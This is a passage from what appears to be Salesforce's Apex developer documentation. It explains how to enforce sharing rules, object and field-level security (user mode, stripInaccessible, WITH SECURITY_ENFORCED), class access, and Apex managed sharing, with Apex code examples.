Enforcing the current user's sharing rules can impact:
• SOQL and SOSL queries. A query can return fewer rows than it would operating in system context.
• DML operations. An operation can fail because the current user doesn't have the correct permissions. For example, if the user specifies
a foreign key value that exists in the organization, but which the current user doesn’t have access to, then the DML operation fails.

SEE ALSO:
Use the with sharing, without sharing, and inherited sharing Keywords
Salesforce Help: Sharing Rules

Enforce Object and Field Permissions

Apex generally runs in system context, so the current user's permissions and field-level security (FLS) aren’t taken into account during
code execution. To enforce the FLS and object permissions of the current user, you can enforce user mode for database operations and
SOQL queries. You can also check the current user's permissions for an object or a field, and then perform a specific DML operation or
a query only if the user has sufficient permissions.

Enforce User Mode

To enforce field-level security and object permissions of the current user, you can specify user mode access for database operations and
SOQL queries. See Enforce User Mode for Database Operations.

Check Field-Level Permissions

You can also enforce object-level and field-level permissions in your code by explicitly calling the access control methods of the
Schema.DescribeSObjectResult and the Schema.DescribeFieldResult classes. These methods check the current user's access permission
levels so that you can perform a specific DML operation or a query only if the user has sufficient permissions.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These examples call the access control methods.

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To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact
}

To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}

To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}

To check the object-level permission for the contact before deleting the contact:
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}

Considerations
• Object-level and field-level permissions are distinct from sharing rules, which enforce specific record access. They can coexist. If
sharing rules are defined in Salesforce, you can enforce them at the class level by declaring the class with the with sharing
keyword. See Use the with sharing, without sharing, and inherited sharing Keywords. If you call the Schema.DescribeSObjectResult
and Schema.DescribeFieldResult access control methods, the verification of object and field-level permissions is performed in addition
to the sharing rules that are in effect. Sometimes, the access level granted by a sharing rule can conflict with an object-level or
field-level permission. In that case, object-level and field-level permissions take precedence over sharing rules.
• Orgs with Experience Cloud sites enabled provide various settings to hide a user's personal information from other users. See Manage
Personal User Information Visibility and Share Personal Contact Information Within Experience Cloud Sites. These settings aren’t
enforced in Apex, even with security features such as the WITH USER_MODE clause or the stripInaccessible method.
To hide specific fields on the User object in Apex, follow the example code outlined in Comply with a User’s Personal Information
Visibility Settings.
• Automated Process users can’t perform Object and FLS checks in custom code unless appropriate permission sets are explicitly
applied to those users.

SEE ALSO:
Salesforce Help: Set Up Your Users’ Object, User, and Field Permissions

Enforce User Mode for Database Operations

You can run database operations in user mode rather than in the default system mode by using SOQL or SOSL queries with special
keywords or by using DML method overloads.
Apex code runs in system mode by default, which means that it runs with substantially elevated permissions over the user running the
code. To enhance the security context of Apex, you can specify user-mode access for database operations. Field-level security (FLS) and
object permissions of the running user are respected in user mode, unlike in system mode. User mode always applies sharing rules, but
in system mode they’re controlled by sharing keywords on the class. See Use the with sharing, without sharing, and inherited sharing
Keywords.

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You can indicate the mode of the operation by using WITH USER_MODE or WITH SYSTEM_MODE in your SOQL or SOSL query.
This example specifies user mode in SOQL.
List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];

Salesforce recommends that you enforce Field Level Security (FLS) by using WITH USER_MODE rather than WITH
SECURITY_ENFORCED because of these additional advantages.
• WITH USER_MODE accounts for polymorphic fields like Owner and Task.whatId.
• WITH USER_MODE processes all clauses in the SOQL SELECT statement including the WHERE clause.
• WITH USER_MODE finds all FLS errors in your SOQL query, while WITH SECURITY_ENFORCED finds only the first error.
Further, in user mode, you can use the getInaccessibleFields() method on QueryException to examine the full set of
access errors.

Note: Avoid specifying access modes, either with special keywords or the AccessLevel class, in the same query as a WITH
SECURITY_ENFORCED clause. Salesforce recommends that you specify either system mode or user mode, and remove any
redundant WITH SECURITY_ENFORCED clauses.
Database operations can specify either user or system mode. This example inserts a new account in user mode.
Account acc = new Account(Name='test');
insert as user acc;

The AccessLevel class represents the two modes in which Apex runs database operations. Use this class to define the execution
mode as user mode or system mode. An optional accessLevel parameter in Database and Search methods specifies whether the
method runs in system mode (AccessLevel.SYSTEM_MODE) or user mode (AccessLevel.USER_MODE).
Use these overloaded methods to perform DML and query operations.
• Database.query method. See Dynamic SOQL.
• Database.getQueryLocator methods
• Database.countQuery method
• Search.query method
• Database DML methods (insert, update, upsert, merge, delete, undelete, and convertLead). Includes the
*Immediate and *Async methods, such as insertImmediate and deleteAsync.

Note: When Database DML methods are run with AccessLevel.USER_MODE, you can access errors via
SaveResult.getErrors().getFields(). With insert as user, you can use the DMLException method
getDmlFieldNames() to obtain the fields with FLS errors.
These methods require the accessLevel parameter.
• Database.queryWithBinds
• Database.getQueryLocatorWithBinds
• Database.countQueryWithBinds

Example: This example assumes that the context user does not have view and edit permissions on Account.AnnualRevenue.
An exception is thrown on the insert operation and the inaccessible fields are retrieved using getDmlFieldNames().
try {
List<Account> accts = new Account[] {new Account(name ='foo', AnnualRevenue=2000)};
Database.insert(accts, AccessLevel.USER_MODE); // throws an exception
Assert.fail('DmlException expected');
} catch (DmlException dex) {
Assert.isTrue(dex.getMessage()

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.contains(
'Operation failed due to fields being inaccessible on Sobject <object name>,
check errors on Exception or Result!'
)
);
Assert.isTrue(dex.getDmlFieldNames(0).contains('AnnualRevenue'));
}

Using Permission Sets to Enforce Security in DML and Search Operations (Developer Preview)
In Developer Preview, you can specify a permission set that is used to augment the field-level and object-level security for database and
search operations. Run the AccessLevel.withPermissionSetId() method with a specified permission set ID. Specific user
mode DML operations that are performed with that AccessLevel, respect the permissions in the specified permission set, in addition
to the running user’s permissions.
This example runs the AccessLevel.withPermissionSetId() method with the specified permission set and inserts a
custom object.
@isTest
public with sharing class ElevateUserModeOperations_Test {
@isTest
static void objectCreatePermViaPermissionSet() {
Profile p = [SELECT Id FROM Profile WHERE Name='Minimum Access - Salesforce'];
User u = new User(Alias = 'standt', Email='[email protected]',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles',
UserName='standarduser' + DateTime.now().getTime() + '@testorg.com');

System.runAs(u) {
try {
Database.insert(new Account(name='foo'), AccessLevel.User_mode);
Assert.fail();
} catch (SecurityException ex) {
Assert.isTrue(ex.getMessage().contains('Account'));
}
//Get ID of previously created permission set named 'AllowCreateToAccount'
Id permissionSetId = [Select Id from PermissionSet
where Name = 'AllowCreateToAccount' limit 1].Id;

Database.insert(new Account(name='foo'),
AccessLevel.User_mode.withPermissionSetId(permissionSetId));

// The elevated access level is not persisted to subsequent operations

try {
Database.insert(new Account(name='foo2'), AccessLevel.User_mode);
Assert.fail();
} catch (SecurityException ex) {
Assert.isTrue(ex.getMessage().contains('Account'));
}

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}
}

Note: Checkmarx, the AppExchange Security Review source code scanner, hasn’t been updated with this new Apex feature. Until
it’s updated, Checkmarx can generate false positives for field or object level security violations that require exception documentation.

Enforce Security with the stripInaccessible Method

Use the stripInaccessible method to enforce field-level and object-level data protection. This method can be used to strip
the fields and relationship fields from query and subquery results that the user can’t access. The method can also be used to remove
inaccessible sObject fields before DML operations to avoid exceptions and to sanitize sObjects that have been deserialized from an
untrusted source.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
The field- and object-level data protection is accessed through the Security and SObjectAccessDecision classes. The access check is
based on the field-level permission of the current user in the context of the specified operation—create, read, update, or upsert. The
Security.stripInaccessible() method checks the source records for fields that don’t meet the field-level security check for the current user.
The method also checks the source records for lookup or master-detail relationship fields to which the current user doesn’t have access.
The method creates a return list of sObjects that is identical to the source records, except that the fields that are inaccessible to the
current user are removed. The sObjects returned by the getRecords method contain records in the same order as the sObjects in
the sourceRecords parameter of the stripInaccessible method.
The Security.stripInaccessible() method takes a permission set ID as a parameter and enforces field-level and object-level
access as per the specified permission set, in addition to the running user’s permissions.

Note: The ID field is never stripped by the stripInaccessible method to avoid issues when performing DML on the
result.
To identify inaccessible fields that were removed, you can use the SObject.isSet() method. For example, the return list contains the
Contact object and the custom field social_security_number__c is inaccessible to the user. Because this custom field fails the field-level
access check, the field isn’t set and isSet returns false.
SObjectAccessDecision securityDecision = Security.stripInaccessible(AccessType.READABLE,
sourceRecords);
Contact c = securityDecision.getRecords()[0];
System.debug(c.isSet('social_security_number__c')); // prints "false"

Note: The stripInaccessible method doesn’t support AggregateResult SObject. If the source records are of AggregateResult
SObject type, an exception is thrown.
To enforce object and field permissions on the User object and hide a user’s personal information from other users in orgs with Experience
Cloud sites, see Enforcing Object and Field Permissions.
The following are some examples where the stripInaccessible method can be used.

Example: This example code removes inaccessible fields from the query result. A display table for campaign data must always
show the BudgetedCost. The ActualCost must be shown only to users who have permission to read that field.
SObjectAccessDecision securityDecision =
Security.stripInaccessible(AccessType.READABLE,
[SELECT Name, BudgetedCost, ActualCost FROM Campaign]
);

// Construct the output table

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if (securityDecision.getRemovedFields().get('Campaign').contains('ActualCost')) {

for (Campaign c : securityDecision.getRecords()) {

//System.debug Output: Name, BudgetedCost
}
} else {
for (Campaign c : securityDecision.getRecords()) {
//System.debug Output: Name, BudgetedCost, ActualCost
}
}

Example: This example code removes inaccessible fields from the subquery result. The user doesn’t have permission to read the
Phone field of a Contacts object.

List<Account> accountsWithContacts =
[SELECT Id, Name, Phone,
(SELECT Id, LastName, Phone FROM Account.Contacts)
FROM Account];

// Strip fields that are not readable

SObjectAccessDecision decision = Security.stripInaccessible(
AccessType.READABLE,
accountsWithContacts);

// Print stripped records

for (Integer i = 0; i < accountsWithContacts.size(); i++)
{
System.debug('Insecure record access: '+accountsWithContacts[i]);
System.debug('Secure record access: '+decision.getRecords()[i]);
}

// Print modified indexes

System.debug('Records modified by stripInaccessible: '+decision.getModifiedIndexes());

// Print removed fields

System.debug('Fields removed by stripInaccessible: '+decision.getRemovedFields());

Example: This example code removes inaccessible fields from sObjects before DML operations. The user who doesn’t have
permission to create Rating for an Account can still create an Account. The method ensures that no Rating is set and doesn’t throw
an exception.
List<Account> newAccounts = new List<Account>();
Account a = new Account(Name='Acme Corporation');
Account b = new Account(Name='Blaze Comics', Rating=’Warm’);
newAccounts.add(a);
newAccounts.add(b);

SObjectAccessDecision securityDecision = Security.stripInaccessible(

AccessType.CREATABLE, newAccounts);

// No exceptions are thrown and no rating is set

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insert securityDecision.getRecords();

System.debug(securityDecision.getRemovedFields().get('Account')); // Prints "Rating"

System.debug(securityDecision.getModifiedIndexes()); // Prints "1"

Example: This example code sanitizes sObjects that have been deserialized from an untrusted source. The user doesn’t have
permission to update the AnnualRevenue of an Account.
String jsonInput =
'[' +
'{' +
'"Name": "InGen",' +
'"AnnualRevenue": "100"' +
'},' +
'{' +
'"Name": "Octan"' +
'}' +
']';

List<Account> accounts = (List<Account>)JSON.deserializeStrict(jsonInput,

List<Account>.class);
SObjectAccessDecision securityDecision = Security.stripInaccessible(
AccessType.UPDATABLE, accounts);

// Secure update
update securityDecision.getRecords(); // Doesn’t update AnnualRevenue field
System.debug(String.join(securityDecision.getRemovedFields().get('Account'), ', '));
// Prints "AnnualRevenue"
System.debug(String.join(securityDecision.getModifiedIndexes(), ', ')); // Prints "0”

Example: This example code removes inaccessible relationship fields from the query result. The user doesn’t have permission to
insert the Account__c field, which is a lookup from MyCustomObject__c to Account.
// Account__c is a lookup from MyCustomObject__c to Account
@IsTest
public class TestCustomObjectLookupStripped {
@IsTest static void caseCustomObjectStripped() {
Account a = new Account(Name='foo');
insert a;
List<MyCustomObject__c> records = new List<MyCustomObject__c>{
new MyCustomObject__c(Name='Custom0', Account__c=a.id)
};
insert records;
records = [SELECT Id, Account__c FROM MyCustomObject__c];
SObjectAccessDecision securityDecision = Security.stripInaccessible
(AccessType.READABLE, records);

// Verify stripped records

System.assertEquals(1, securityDecision.getRecords().size());
for (SObject strippedRecord : securityDecision.getRecords()) {
System.debug('Id should be set as Id fields are ignored: ' +
strippedRecord.isSet('Id')); // prints true
System.debug('Lookup field FLS is not READABLE to running user,

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should not be set: ' +

strippedRecord.isSet('Account__c')); // prints false
}
}
}

SEE ALSO:
Apex Reference Guide: AccessType Enum
Apex Reference Guide: Security Class
Apex Reference Guide: SObjectAccessDecision Class

Filter SOQL Queries Using WITH SECURITY_ENFORCED

Use the WITH SECURITY_ENFORCED clause to enable field- and object-level security permissions checking for SOQL SELECT
queries in Apex code, including subqueries and cross-object relationships.

Important: Salesforce recommends that you enforce Field Level Security (FLS) by using WITH USER_MODE instead of WITH
SECURITY_ENFORCED because it has fewer limitations.
If you enforce user mode, remove any redundant WITH SECURITY_ENFORCED clauses. You can’t combine both forms of
access checks in the same query.
See Enforce User Mode for Database Operations on page 211.

Apex generally runs in system context; that is, the current user's permissions and field-level security aren’t taken into account during
code execution. Sharing rules, however, are not always bypassed: the class must be declared with the without sharing keyword
in order to ensure that sharing rules are not enforced. Although performing field- and object-level security checks was possible in earlier
releases, this clause substantially reduces the verbosity and technical complexity in query operations. This feature is tailored to Apex
developers who have minimal development experience with security and to applications where graceful degradation on permissions
errors isn’t required.

Note: The WITH SECURITY_ENFORCED clause is only available in Apex. We don’t recommend using WITH
SECURITY_ENFORCED in Apex classes or triggers with an API version earlier than 45.0.
WITH SECURITY_ENFORCED applies field- and object-level security checks only to fields and objects referenced in SELECT or
FROM SOQL clauses and not clauses like WHERE or ORDER BY. In other words, security is enforced on what the SOQL SELECT
query returns, not on all the elements that go into running the query.
Insert the WITH SECURITY_ENFORCED clause:
• After the WHERE clause if one exists, else after the FROM clause.
• Before any ORDER BY, LIMIT, OFFSET, or aggregate function clauses.
For more information on SOQL SELECT queries, see SOQL SELECT Syntax in the SOQL and SOSL Reference.
For example, if the user has field access for LastName, this query returns Id and LastName for the Acme account entry.
List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts)
FROM Account WHERE Name like 'Acme' WITH SECURITY_ENFORCED]

There are some restrictions while querying polymorphic lookup fields using WITH SECURITY_ENFORCED. Polymorphic fields are
relationship fields that can point to more than one entity.

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• Traversing a polymorphic field’s relationship is not supported in queries using WITH SECURITY_ENFORCED. For example, you
cannot use WITH SECURITY_ENFORCED in this query, which returns the Id and Owner names for User and Calendar entities:
SELECT Id, What.Name FROM Event WHERE What.Type IN (’User’,’Calendar’).
• Using TYPEOF expressions with an ELSE clause is not supported in queries using WITH SECURITY_ENFORCED. TYPEOF
is used in a SELECT query to specify the fields to be returned for a given type of a polymorphic relationship. For example, you cannot
use WITH SECURITY_ENFORCED in this query. The query specifies certain fields to be returned for Account and Opportunity
objects, and Name and Email fields to be returned for all other objects.
SELECT
TYPE OF What
WHEN Account THEN Phone
WHEN Opportunity THEN Amount
ELSE Name,Email
END
FROM Event

• The Owner, CreatedBy, and LastModifiedBy polymorphic lookup fields are exempt from this restriction, and do allow
polymorphic relationship traversal.
• For AppExchange Security Review, you must use API version 48.0 or later when using WITH SECURITY_ENFORCED. You cannot
use API versions where the feature was in beta or pilot.
If any fields or objects referenced in the SOQL SELECT query using WITH SECURITY_ENFORCED are inaccessible to the user,
a System.QueryException is thrown, and no data is returned.
To enforce object and field permissions on the User object and hide a user’s personal information from other users in orgs with Experience
Cloud sites, see Enforcing Object and Field Permissions.

Example: If field access for either LastName or Description is hidden, this query throws an exception indicating insufficient
permissions.
List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts),
(SELECT Description FROM Opportunities)
FROM Account WITH SECURITY_ENFORCED]

Example: If field access for Website is hidden, this query throws an exception indicating insufficient permissions.
List<Account> act2 = [SELECT Id, parent.Name, parent.Website
FROM Account WITH SECURITY_ENFORCED]

Example: If field access for Type is hidden, this aggregate function query throws an exception indicating insufficient permissions.
List<AggregateResult> agr1 = [SELECT GROUPING(Type)
FROM Opportunity WITH SECURITY_ENFORCED
GROUP BY Type]

Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page, seeSet Apex Class Access from the Class List Page
To set Apex class security from the class detail page, see Set Apex Class Access from the Class List Page
To set Apex class security from a permission set:

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1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.

Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Lightning Platform, or programmatically using Apex.
For more information on sharing, see Set Your Internal Organization-Wide Sharing Defaults in the Salesforce online help.

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional
access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed
sharing to grant additional access programmatically with Apex.
Sharing a Record Using Apex
Recalculating Apex Managed Sharing

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex.
Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.

Types of Sharing
Salesforce has the following types of sharing:
Managed Sharing
Managed sharing involves sharing access granted by Lightning Platform based on record ownership, the role hierarchy, and sharing
rules:

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Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All Records” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to managed sharing. Only users with “Modify All
Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner
changes.

Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

The Sharing Reason Field

In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
• Managed Sharing

Reason Field Value rowCause Value (Used in Apex or the API)

Account Sharing ImplicitChild

Associated record owner or sharing ImplicitParent

Owner Owner

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Reason Field Value rowCause Value (Used in Apex or the API)

Opportunity Team Team

Sharing Rule Rule

Territory Assignment Rule TerritoryRule

• User Managed Sharing

Reason Field Value rowCause Value (Used in Apex or the API)

Manual Sharing Manual

Territory Manual TerritoryManual

Note: With Enterprise Territory Management in API

version 45.0 and later,
Territory2AssociationManual replaces
TerritoryManual.

• Apex Managed Sharing

Reason Field Value rowCause Value (Used in Apex or the API)

Defined by developer Defined by developer

The displayed reason for Apex managed sharing is defined by the developer.

Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:

Access Level API Name Description

Private None Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.

Read Only Read The specified user or group can view the record only.

Read/Write Edit The specified user or group can view and edit the record.

Full Access All The specified user or group can view, edit, transfer, share, and delete the record.

Note: This access level can only be granted with managed sharing.

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Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
• API
• Standard user interface
• Standard Visualforce controller
• Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.

Sharing a Record Using Apex

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom
object:
MyCustomObject__Share
Objects on the detail side of a master-detail relationship don’t have an associated sharing object. The detail record’s access is determined
by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce
Help.
A share object includes records supporting all three types of sharing: managed sharing, user managed sharing, and Apex managed
sharing. Sharing that is granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as the
“View All Records” and “Modify All Records” permissions for the given object, “View All Data,” and “Modify All Data” aren’t tracked with
this object.
Every share object has the following properties:

Property Name Description

objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadAccessLevel. Valid values are:
• Edit
• Read
• All

Note: The All access level is an internal value and can’t be granted.

This field must be set to an access level that’s higher than the organization’s default access level for
the parent object. For more information, see Understanding Sharing on page 219.

ParentID The ID of the custom object. This field can’t be updated.

RowCause The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field can’t be updated.

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Property Name Description

UserOrGroupId The user or group IDs to which you’re granting access. A group can be:
• A public group or a sharing group associated with a role.
• A territory group.
This field can’t be updated.

Note: You can't grant access to unauthenticated guest users using Apex.

You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce.

Creating User Managed Sharing Using Apex

It’s possible to manually share a record to a user or a group using Apex or SOAP API. If the owner of the record changes, the sharing is
automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified user
or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.

Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {

public static boolean manualShareRead(Id recordId, Id userOrGroupId){

// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();

// Set the ID of record being shared.

jobShr.ParentId = recordId;

// Set the ID of user or group being granted access.

jobShr.UserOrGroupId = userOrGroupId;

// Set the access level.

jobShr.AccessLevel = 'Read';

// Set rowCause to 'manual' for manual sharing.

// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;

// Insert the sharing record and capture the save result.

// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);

// Process the save results.

if(sr.isSuccess()){
// Indicates success
return true;
}

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else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];

// Check if the error is related to trival access level.

// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
}
else{
// Indicates failure.
return false;
}
}
}

@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;

// Create new job.

Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;

// Insert manual share for user who is not record owner.

System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);

// Query job sharing records.

List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];

// Test for only one manual share on job.

System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');

// Test attributes of manual share.

System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);

// Test invalid job Id.

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delete j;

// Insert manual share for deleted job id.

System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}

Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 219.

Creating Apex Managed Sharing

Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through
either Apex or SOAP API. This type of sharing is similar to managed sharing. Only users with “Modify All Data” permission can add or
change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
• The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
• The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:

Schema.CustomObject__Share.rowCause.SharingReason__c

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c

For more information, see System.Schema Class.

To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.

Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

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Apex Managed Sharing Example

For this example, suppose that you’re building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager
access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User
records called Hiring_Manager and Recruiter. Also, the Job custom object must have two sharing reasons added called Hiring_Manager
and Recruiter.
trigger JobApexSharing on Job__c (after insert) {

if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();

// Declare variables for recruiting and hiring manager sharing

Job__Share recruiterShr;
Job__Share hmShr;

for(Job__c job : trigger.new){

// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();

// Set the ID of record being shared

recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;

// Set the ID of user or group being granted access

recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;

// Set the access level

recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';

// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;

// Add objects to list for insert

jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}

// Insert sharing records and capture save result

// The false parameter allows for partial processing if multiple records are passed

// into the operation

Database.SaveResult[] lsr = Database.insert(jobShrs,false);

// Create counter
Integer i=0;

// Process the save results

for(Database.SaveResult sr : lsr){

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if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];

// Check if the error is related to a trivial access level

// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception is

// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION

&&
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}

Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
• A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
• Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.

Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 219.

Creating Apex Managed Sharing for Customer Community Plus users

Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
